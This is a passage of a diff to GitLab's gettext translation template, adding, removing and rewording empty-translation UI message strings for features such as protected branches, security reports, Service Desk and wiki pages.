+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
